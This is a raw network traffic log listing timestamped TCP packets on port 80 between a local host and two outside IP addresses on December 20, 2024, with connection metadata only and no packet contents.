Dec 20, 2024 07:12:47.166167974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.166204929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.166285038 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.166343927 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.167229891 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.167330027 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.167375088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.167438984 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.168231010 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.168319941 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.168433905 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.169296026 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.169392109 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.169415951 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.169507980 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.170330048 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.170463085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.171379089 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.171469927 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.171502113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.171664953 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.172401905 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.172533035 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.172565937 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.172599077 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.172724009 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.173448086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.173507929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.173573017 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.173795938 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.174470901 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.174596071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.174623966 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.175515890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.175628901 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.175661087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.176539898 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.176546097 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.176652908 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.176687002 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.176731110 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.177604914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.177716017 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.178639889 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.178672075 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.179166079 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.179266930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.179663897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.179788113 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.179867983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.180682898 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.180772066 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.180805922 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.180872917 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.181725979 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.181849957 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.182821989 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.182954073 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.182985067 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.183831930 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.183947086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.183979034 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.184118032 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.184850931 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.184902906 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.184973955 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.185070038 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.185899019 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.186009884 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.186036110 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.186109066 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.186925888 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.187031031 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.187061071 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.187971115 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.188081980 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.188112974 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.188780069 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.188975096 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.189100981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.189109087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.189176083 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.190015078 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.190131903 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.190138102 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.190359116 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.191102028 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.191194057 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.192112923 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.192166090 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.192198038 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.193133116 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.193242073 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.193273067 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.193624973 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.194190025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.194304943 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.194318056 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.194541931 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.195260048 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.195389986 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.195528984 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.195590019 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.196254969 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.196377993 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.196410894 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.197288036 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.197400093 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.197434902 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.197793007 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.198332071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.198419094 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.198477030 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.198568106 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.199378014 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.199440956 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.199517012 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.199671030 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.200395107 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.200520039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.201539040 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.333184004 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.333220005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.333317041 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.333317041 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.333436966 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.334322929 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.334356070 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.334400892 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.335352898 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.335388899 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.335465908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.335997105 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.336342096 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.336467981 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.336524963 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.337382078 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.337474108 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.337539911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.338418007 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.338490963 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.339077950 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.339131117 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.339144945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.339148045 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.339449883 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.339483023 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.339548111 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.339613914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.339725018 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.339783907 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.339785099 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.340441942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.340476036 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.340693951 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.340724945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.341048956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.341206074 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.341219902 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.341300964 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.341433048 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.341586113 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.341645002 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.342055082 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.342149019 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.342214108 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.342274904 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.342463970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.342561007 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.343089104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.343163013 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.343166113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.343204021 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.343487978 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.343626022 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.343656063 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.344141960 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.344197035 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.344197989 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.344270945 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.344508886 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.344542980 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.344621897 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.344939947 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.345192909 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.345283031 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.345305920 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.345403910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.345532894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.345590115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.345700979 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.346235037 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.346354961 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.346549034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.346580029 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.346810102 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.347290993 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.347325087 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.347343922 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.347553968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.347588062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.347666025 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.348340034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.348371983 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.348417044 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.348628044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.348649979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.348660946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.349014997 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.349339008 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.349390984 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.349566936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.349617958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.349670887 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.350370884 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.350435972 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.350441933 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.350527048 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.350609064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.350708008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.350740910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.351397991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.351448059 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.351449966 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.351525068 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.351593971 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.351674080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.351860046 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.352437019 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.352458954 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.352504015 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.352641106 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.352727890 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.352735996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.352786064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.352936029 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.353471994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.353552103 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.353585005 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.353646040 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.353710890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.353744984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.354104042 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.354501963 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.354618073 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.354620934 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.354784012 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.354816914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.354819059 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.355560064 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.355590105 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.355658054 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.355775118 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.355809927 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.355814934 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.356590033 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.356621981 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.356736898 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.356803894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.356834888 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.356837034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.356975079 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.357623100 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.357743025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.357800007 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.357834101 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.357867002 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.358656883 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.358714104 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.358715057 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.358748913 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.358843088 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.358876944 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.358880043 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.359146118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.359709024 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.359848022 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.359874964 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.359899998 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.359926939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.359935045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.360737085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.360769033 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.360872030 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.360905886 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.360937119 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.360950947 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.361537933 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.361757994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.361840963 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.361882925 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.361917019 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.361943007 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.361951113 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.362175941 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.362613916 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.362804890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.362888098 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.362919092 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.362921000 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.362956047 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.362984896 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.363253117 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.363852024 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.363902092 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.363934994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.363966942 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.363969088 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.364955902 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.364986897 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.364990950 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.365025043 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.365056992 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.365058899 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.365540981 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.365931034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.365983009 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.366018057 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.366049051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.366053104 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.366388083 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.366950035 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.367001057 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.367032051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.367033958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.367069006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.367072105 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.367439032 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.368043900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.368081093 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.368114948 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.368149042 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.368201971 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.368202925 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.369081974 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.369116068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.369149923 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.369180918 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.369184017 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.369539976 CET	49867	80	192.168.2.4	31.41.244.11
